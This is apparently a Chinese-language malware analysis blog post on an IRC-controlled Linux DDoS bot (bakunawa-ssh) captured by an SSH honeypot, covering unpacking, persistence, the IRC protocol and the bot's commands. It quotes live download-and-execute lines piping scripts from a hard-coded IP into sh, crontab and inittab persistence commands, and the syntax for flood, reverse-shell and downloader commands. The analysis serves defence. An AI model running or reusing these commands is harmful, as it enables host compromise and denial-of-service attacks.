0x00 背景

最近还是通过ssh蜜罐捕获到样本,都是通过下载sh脚本文件并执行:

wget -qO - http://198.1.70.128/1sh | sh > /dev/null 2>&1 &
rm -rf /var/run/1sh; wget -c http://198.1.70.128/1sh -P /var/run && sh /var/run/1sh &
wget -qO - http://198.1.70.128/2sh | sh > /dev/null 2>&1 &
rm -rf /tmp/2sh; wget -c http://198.1.70.128/2sh -P /tmp && sh /tmp/2sh &
curl http://198.1.70.128/3sh | sh
cd /dev/shm ; rm -rf tsh ; tftp -g 127.0.0.1 -r tsh ; sh tsh &

虽然这里有3个脚本文件,但通过对比下载的二进制文件md5,实际上1sh脚本中也就涵盖了各个平台下的恶意样本,逐一下载后无脑执行就可以了:

0x01 脱壳

VT上也可以看到这是最近才发现的样本,但这些样本都会把主控端的ip地址硬编码至程序中,所以时间上是没有意义的,注意到该样本是经过UPX加壳处理的:

其实一开始strings -a也可以发现疑似UPX压缩的迹象,在IDA打开后完全是瞎的,所以程序内部会先进行解压缩然后跳转执行真正的代码。首先尝试upx -d脱壳未果:

这里当然是针对UPX的脱壳程序做了一下处理,要不然在稍微懂点的人面前加壳跟没加一样。探索一番后发现,MalwareMustDie团队已经20160416分析过相似的样本,但给出的脱壳方法也不是太详细和便捷。在国内也有人使用IDA远程调试然后写idc脚本去dump,然而我的IDA神一般的远程attach不上,此方法有待后续探究学习。前面的文章里有提过0x8058ac0处保存的是压缩后的数据,而且还是ELF文件开头的,那我直接gdb attach上解压缩后的程序dump内存不就好了(dump memory test2 0x08048000 0x08056000),机智如你:

0x02 自启动接收指令

执行命令

样本会调用getuid函数判断root权限,然后用snprintf函数完成命令字符串的构造,最终通过system函数执行命令。

进程环境设置

  1. 调用setpriority函数设置进程谦让度为0。
  2. 将该进程设置为守护进程。

  3. 在127.0.0.1本地监听一个随机的端口,作为后续的互斥锁。

  4. 执行命令echo "nameserver 8.8.8.8" > /etc/resolv.conf &
  5. 随机strcpy以下某个字符串至argv[0]。

自启动设置

  1. 查看对目录/dev/shm//var/tmp//tmp//var/lock//var/run/是否有可写入权限。这里我以/w_ok/代指一下。
  2. 如果存在/bin/crontab文件则执行如下命令,说白了就是配合上面的本地监听sock保证样本一直运行。

     chmod 700 /path/muhstiki386 > /dev/null 2>&1 &
     touch -acmr /bin/ls /path/muhstiki386 #需要root权限
     (crontab -l | grep -v "/path/muhstiki386" | grep -v "no cron" | grep -v "lesshts/run.sh" > /w_ok/.x00%u) > /dev/null 2>&1 #%u为随机的unsigned int
     echo "* * * * * /path/muhstiki386 > /dev/null 2>&1 &" >> /w_ok/.x00%u
     crontab /w_ok/.x00%u
     rm -rf /w_ok/.x00%u
    
  3. 如果是root权限,则执行如下命令,使样本进程在终止后重新启动进程。

     cat /etc/inittab | grep -v "/path/muhstiki386" > /etc/inittab2
     echo "0:2345:respawn: /path/muhstiki386" >> /etc/inittab2
     cat /etc/inittab2 > /etc/inittab
     rm -rf /etc/inittab2
     touch -acmr /bin/ls /etc/inittab
    
  4. 如果存在/etc/rc.local/etc/rc.conf文件可读,则向其追加/path/muhstiki386,可是这些文件一般是以exit 0结束的,开发者理解水平不够呀。

接收指令

  1. 样本会随机连接以下的某个ip地址的9090端口,如果连接时间超过9秒则再随机选取ip地址。

  2. 连接上ip地址后,select的timeout时间设置为1200秒。被控端样本会拆分主控端传来的指令调用对应命令的函数指针,每条命令以’\n’分割,格式为’:arg1 cmd arg2’,或者’cmd arg2’ arg1默认为’*‘。但在分割参数时使用strcpy(k, &k[l + 1])的方法不敢苟同。

0x03 IRC命令

只是从逆向层面上说明每个函数指针做了什么会很生硬,应该去理解主控端的命令。其实在这里样本连接主控端接收指令,其消息的形式走的是IRC协议,会根据IRC指令来回复主控服务器。IRC协议的标准和实现可见这里,本地动态调试时可参考之前的文章,使用iptables发送指令给样本执行。

Nickname生成

第一个%s代指本地主机的架构;%d以0或1代指是否具有root权限;然后跟着6位随机的数字;最后的%s则为成功读取的/bin/uname -nnvram get router_namecat /etc/ISP_namecat /etc/Model_name的前10个字节输出,不符合对应规则的话则输出unknown

Connection Registration

IRC客户端在连接之前需要注册nickname,设定user message,可以看到样本会将其username设为0x00realname设为1.0+tftp_jun112017

IRC Command

IRC消息遵循的BNF是<message> ::= [':' <prefix> <SPACE> ] <command> <params> <crlf>,样本中会处理的命令如下:

  1. 352:为RPL_WHOREPLY,设置nick对应的host,会用于后续功能的源ip地址伪造。
  2. 005、376、422:都会列出MOTD的内容,并且加入#m.x86 channel。

  3. 433、ERROR:会重新生成nickname的内容。
  4. JOIN、PING、NICK:JOIN为空函数;会用PONG指令来应答PONG;NICK可能会为客户端更改nickname。
  5. PRIVMSG:向被控端发送指令执行功能或函数,遵循的格式为[':' <prefix> <SPACE> ] #m.x86 !!nickname <command> <params> <crlf>。command为IRC则会回传params的内容;为SH则会执行后回传命令输出;其他command则会对比调用函数指针。

0x04 恶意功能

通过PRIVMSG调用的函数则是真正进行一些DOS,Downloader,SPOOF的功能,具体如下:

XMAS

对指定的ip进行tcp flood攻击:

XMAS <target> <port> <secs> <cwr,ece,urg,ack,psh,rst,fin,syn or null> <random/not>

port为0会随机设置源端口;如果没有设置源ip netlong则会随机生成源ip;secs为攻击持续时间;根据参数设置tcp数据包的flags;random则会随机设定tcp data数据长度为[0, 20],window size也会随机设置,否则data为20,window size为32120。

PAN

对指定ip进行syn flood攻击,与XMAS相似,但源ip是完全随机的:

PAN <target> <port> <secs>

SUDP

对指定ip进行udp flood攻击,与XMAS相似,ip length设置为1500:

SUDP <target> <port> <secs>

UDP

与SUDP相似,但源ip随机:

UDP <target> <port> <secs>

STD

对指定ip进行udp flood,data为4个字节,使用的是本地源ip:

STD <target> <port> <secs>

STD2

与STD相似,data可以自定义为<funny_data>的内容:

STD2 <target> <port> <secs> <funny_data>

JUNK

对指定ip和port进行tcp connect flood,使用1个字节的data,threads最高设置为64:

JUNK <target> <port> <time> <threads>

不过第一次见这样也算是thread 的:

UNKNOWN

对指定ip进行udp flood,使用本地源ip,目的端口随机,ip length设置为9216:

UNKNOWN <target> <secs>

L7.UNKNOWN

对指定ip和port进行http flood:

l7.unknown <target> <port> <time> <threads> </shit.php?id=> <random/not> <(n if random) or not> <GET/HEAD/POST>

threads最大为64;参数6如果为random,则会生成n(n<=10)位的数字作为id值;请求头中的User-Agent会是89选1,POST数据包为1个字节:

L7.UNKNOWN2

与L7.UNKNOWN相似,threads最大为256,增加了host_header:

` l7.unknown2

DNS

解析某一host:

` DNS `

CBACK

向指定ip和port回传shell:

` CBACK `

KILLALL

在执行每个指令时客户端都会fork子进程执行并记录其pid,KILLALL就是kill掉所有记录的子进程:

SPOOFS

接收参数则会设置netlong为对应的subnet address,当没有参数时则会移除netlong。

GETSPOOFS

获取当前spoof的netlong范围。

GET

http downloader:

` GET `

SERVER

可以更换客户端中主控端的ip地址。

VERSION

原来你的名字是——bakunawa-ssh™:

HELP

大体功能简介:

SHELP

ssh扫描功能,但样本中未发现具体实现:

DHELP

DDOS功能的介绍,和前文一样:

0x05 总结

bakunawa-ssh™这个样本经过UPX加壳,并针对于UPX的脱壳过程动了些手脚,其实样本的开始还是有反调试的:

碰巧gdb attach一起绕过了。被控端连接硬编码的IRC主控端服务器,使用IRC协议来传递消息执行DDOS、反弹shell、Downloader等功能。通过其版本号1.0+tftp_jun112017,可以知道这是今年中旬的样本,也捕获过其他该样本的老版本:

所以该样本肯定是在不断地编程发展,可以监控主控端的指令做进一步的感知,针对恶意软件elf文件的解构知识也需加强。